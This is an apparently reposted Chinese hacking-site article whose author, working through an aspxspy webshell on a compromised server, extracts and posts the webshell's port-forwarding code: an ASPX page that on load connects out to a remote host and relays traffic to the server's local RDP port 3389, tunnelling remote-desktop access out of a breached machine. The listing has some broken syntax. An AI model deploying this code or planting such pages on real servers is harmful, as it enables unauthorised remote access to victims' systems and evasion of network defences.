热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

aspx 端口转发 (aspxspy)

发布时间:2013-12-25 13:32文章来源:网络文章作者:秩名 点击次数:
摘要:今天遇到一个问题,使用aspxspy 只要访问超过两次请求,就无法访问了,提示页面找不到,使用菜刀查看,发现shell 还在上面没有被删,很是悲剧。不知道这个是什么神器在起作用。还请各位高手、神人指点,谢谢了。 想使用一下aspxspy的转发功能,因此将aspxspy...

今天遇到一个问题,使用aspxspy 只要访问超过两次请求,就无法访问了,提示页面找不到,使用菜刀查看,发现shell 还在上面没有被删,很是悲剧。不知道这个是什么神器在起作用。还请各位高手、神人指点,谢谢了。

想使用一下aspxspy的转发功能,因此将aspxspy中的端口转发功能,进行了提取,代码如下:

 

  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> 
  2. <%@ import Namespace="System.IO"%> 
  3. <%@ import Namespace="System.Net.Sockets" %> 
  4. <%@ import Namespace="System.Net" %> 
  5.  
  6. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1f.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
  7. <script runat="server"> 
  8.  
  9. public string localip = "127.0.0.1"
  10. public string localport="3389"
  11. public string remoteip"192.168.11.89"
  12. public string remoteport = "600"
  13.  
  14. public NetworkStream NS=null
  15. public NetworkStream NS1=null
  16. TcpClient tcp=new TcpClient(); 
  17. TcpClient zvxm=new TcpClient(); 
  18. ArrayList IVc=new ArrayList(); 
  19. protected void Page_load(object sender,EventArgs e) 
  20.  
  21.  
  22. try{ 
  23.  
  24. ruQO(); 
  25. }catch(Exception exp) 
  26. Response.Write("except "+exp.Message); 
  27.  
  28.  
  29.  
  30. public class PortForward 
  31. public string Localaddress; 
  32. public int LocalPort; 
  33. public string RemoteAddress; 
  34. public int RemotePort; 
  35. string type; 
  36. Socket ltcpClient; 
  37. Socket rtcpClient; 
  38. Socket server; 
  39. byte[] DPrPL=new byte[2048]; 
  40. byte[] wvZv=new byte[2048]; 
  41. public struct session 
  42. public Socket rdel; 
  43. public Socket ldel; 
  44. public int llen; 
  45. public int rlen; 
  46. public static IPEndPoint mtJ(string host,int port) 
  47. IPEndPoint iep=null
  48. IPHostEntry aGN=Dns.Resolve(host); 
  49. IPAddress rmt=aGN.AddressList[0]; 
  50. iep=new IPEndPoint(rmt,port); 
  51. return iep; 
  52. public void Start(string Rip,int Rport,string lip,int lport) 
  53. try 
  54. LocalPort=lport
  55. RemoteAddress=Rip
  56. RemotePort=Rport
  57. Localaddress=lip
  58. rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); 
  59. ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); 
  60. rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient); 
  61. catch (Exception ex) { } 
  62. protected void iiGFO(IAsyncResult ar) 
  63. try 
  64. session RKXy=new session(); 
  65. RKXy.ldel=ltcpClient
  66. RKXy.rdel=rtcpClient
  67. ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy); 
  68. catch (Exception ex) { } 
  69. protected void VTp(IAsyncResult ar) 
  70. try 
  71. session RKXy=(session)ar.AsyncState; 
  72. ltcpClient.EndConnect(ar); 
  73. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy); 
  74. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy); 
  75. catch (Exception ex) { } 
  76. private void LFYM(IAsyncResult ar) 
  77. try 
  78. session RKXy=(session)ar.AsyncState; 
  79. int Ret=RKXy.rdel.EndReceive(ar); 
  80. if (Ret>0) 
  81. ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy); 
  82. else lyTOK(); 
  83. catch (Exception ex) { } 
  84. private void JTcp(IAsyncResult ar) 
  85. try 
  86. session RKXy=(session)ar.AsyncState; 
  87. RKXy.ldel.EndSend(ar); 
  88. RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy); 
  89. catch (Exception ex) { } 
  90. private void xPS(IAsyncResult ar) 
  91. try 
  92. session RKXy=(session)ar.AsyncState; 
  93. int Ret=RKXy.ldel.EndReceive(ar); 
  94. if (Ret>0) 
  95. RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy); 
  96. else lyTOK(); 
  97. catch (Exception ex) { } 
  98. private void IZU(IAsyncResult ar) 
  99. try 
  100. session RKXy=(session)ar.AsyncState; 
  101. RKXy.rdel.EndSend(ar); 
  102. RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy); 
  103. catch (Exception ex) { } 
  104. public void lyTOK() 
  105. try 
  106. if (ltcpClient!=null) 
  107. ltcpClient.Close(); 
  108. if (rtcpClient!=null) 
  109. rtcpClient.Close(); 
  110. catch (Exception ex) { } 
  111. protected void vuou() 
  112. PortForward gYP=new PortForward(); 
  113. gYP.lyTOK(); 
  114. protected void ruQO() 
  115. PortForward gYP=new PortForward(); 
  116. gYP.Start(remoteip,int.Parse(remoteport),localip,int.Parse(localport)); 
  117. </script> 

记录在这里,希望以后还会用到。

注:对大牛的代码未作任何修改仅是提取,希望没有侵权。

标签分类:

上一篇:ECShop V2.7.3最新后台拿shell
下一篇:使用systemtap抓取ssh登录的用户名和密码